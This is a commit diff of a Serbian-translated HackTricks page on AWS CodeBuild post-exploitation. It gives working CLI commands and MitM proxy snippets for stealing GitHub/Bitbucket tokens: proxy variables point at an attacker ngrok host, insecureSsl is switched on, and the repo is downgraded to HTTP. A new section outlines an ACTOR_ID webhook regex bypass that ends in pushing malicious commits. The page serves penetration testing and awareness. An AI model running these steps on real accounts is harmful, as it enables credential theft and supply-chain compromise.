mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+53
-36
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Oporavak konfigurisanih tokena za Github/Bitbucket
|
||||
## Provera Github/Bitbucket konfigurisanih Tokens
|
||||
|
||||
Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:
|
||||
Prvo proveri da li postoje source credentials koji su konfigurisani i koje bi mogao leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Putem Docker slike
|
||||
### Putem Docker Image
|
||||
|
||||
Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
|
||||
Ako otkrijete da je autentifikacija, na primer prema Github-u, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
|
||||
|
||||
U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**.
|
||||
Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
|
||||
|
||||
Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**.
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Kreirajte i otpremite svoju Docker MitM sliku**
|
||||
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**.
|
||||
- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u.
|
||||
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host.
|
||||
- Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...)
|
||||
2. **Postavite okruženje**
|
||||
- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg.
|
||||
- Postavite projekat da koristi **prethodno generisanu Docker sliku**.
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** kako ne bi presretao zahteve ka metadata endpoint-u.
|
||||
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da podesite proxy na vaš host
|
||||
- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Kreirajte **new Codebuild project** ili izmenite **environment** postojećeg.
|
||||
- Set the project to use the **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Postavite MitM proxy na vašem hostu**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput:
|
||||
- As indicated in the **Github repo** you could use something like:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
|
||||
> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
|
||||
|
||||
4. **Pokrenite gradnju i zabeležite akreditive**
|
||||
4. **Pokrenite build i presretnite kredencijale**
|
||||
|
||||
- Možete videti token u **Authorization** header-u:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovo se takođe može uraditi iz aws cli sa nečim poput
|
||||
Ovo se takođe može uraditi iz aws cli naredbom poput
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### Putem insecureSSL
|
||||
|
||||
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
|
||||
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
|
||||
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno u web interfejsu — možete ga promeniti samo preko API-ja.\
|
||||
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
|
||||
|
||||
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
|
||||
- Prvo treba izlistati trenutnu konfiguraciju nečim poput:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
|
||||
- Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao:
|
||||
- Zatim, sa prikupljenim informacijama možete ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obratite pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
|
||||
- Pored toga, dodajte i env variables **http_proxy** i **https_proxy** koje usmerite na vaš tcp ngrok, na primer:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy)
|
||||
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
||||
- Na kraju, kliknite na **Build the project**, **credentials** će biti **sent in clear text** (base64) na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Putem HTTP protokola~~
|
||||
### ~~Via HTTP protocol~~
|
||||
|
||||
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)**
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
|
||||
Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**.
|
||||
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
|
||||
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy)
|
||||
- Zatim promenite URL github repo-a da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Zatim pokrenite basic example sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su pokazali proxy variables (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
||||
- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
||||
- Na kraju, **credentials** će biti **sent in clear text** (base64) poslati na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.
|
||||
> Sada napadač može da iskoristi token sa svoje mašine, izlista sve privilegije koje poseduje i lakše ih zloupotrebi nego da direktno koristi servis CodeBuild.
|
||||
|
||||
## Zaobilaženje allowliste ACTOR_ID regex-a webhook filtera (PR-om pokrenuti privilegovani build-ovi)
|
||||
|
||||
Pogrešno konfigurisani CodeBuild GitHub webhooks koji koriste neukotvljene `ACTOR_ID` regex-e omogućavaju *nepouzdanim* PR-ovima da pokrenu privilegovane build-ove. Ako je allowlist kao `123456|7890123` bez `^`/`$`, svaki ID koji sadrži jedan od tih podnizova se podudara. Pošto su GitHub user ID-jevi sekvencijalni, napadač može da se potrudi da registruje “eclipsing” ID (superstring poverenog ID-ja) i da pokrene build.
|
||||
|
||||
Putanja exploita
|
||||
|
||||
1. Pronađite javne CodeBuild projekte koji izlažu webhook filtere i izdvojite neukotvljenu `ACTOR_ID` allowlistu.
|
||||
2. Nabavite eclipsing GitHub ID:
|
||||
- Izmerite globalni brojač ID-eva kreiranjem/brisanja GitHub organizacija (org IDs dele isti pool).
|
||||
- Pre-stage-ujte veliki broj kreiranja GitHub App manifest-a i aktivirajte confirmation URL-ove kada je brojač unutar ~100 ID-eva od cilja da biste brzo registrovali bot ID koji sadrži povereni podniz.
|
||||
3. Otvorite PR sa eclipsing naloga; regex će poklopiti podniz i privilegovani build će se pokrenuti.
|
||||
4. Iskoristite build RCE (npr. dependency install hooks) da ispraznite memoriju procesa koja rukuje GitHub credential-om i povratite PAT/OAuth token.
|
||||
5. Sa tokenom koji ima `repo` scope, pozovite svoj nalog kao collaborator/admin i push-ujte/approve-ujte zlonamerne commit-ove ili eksfiltrujte tajne.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user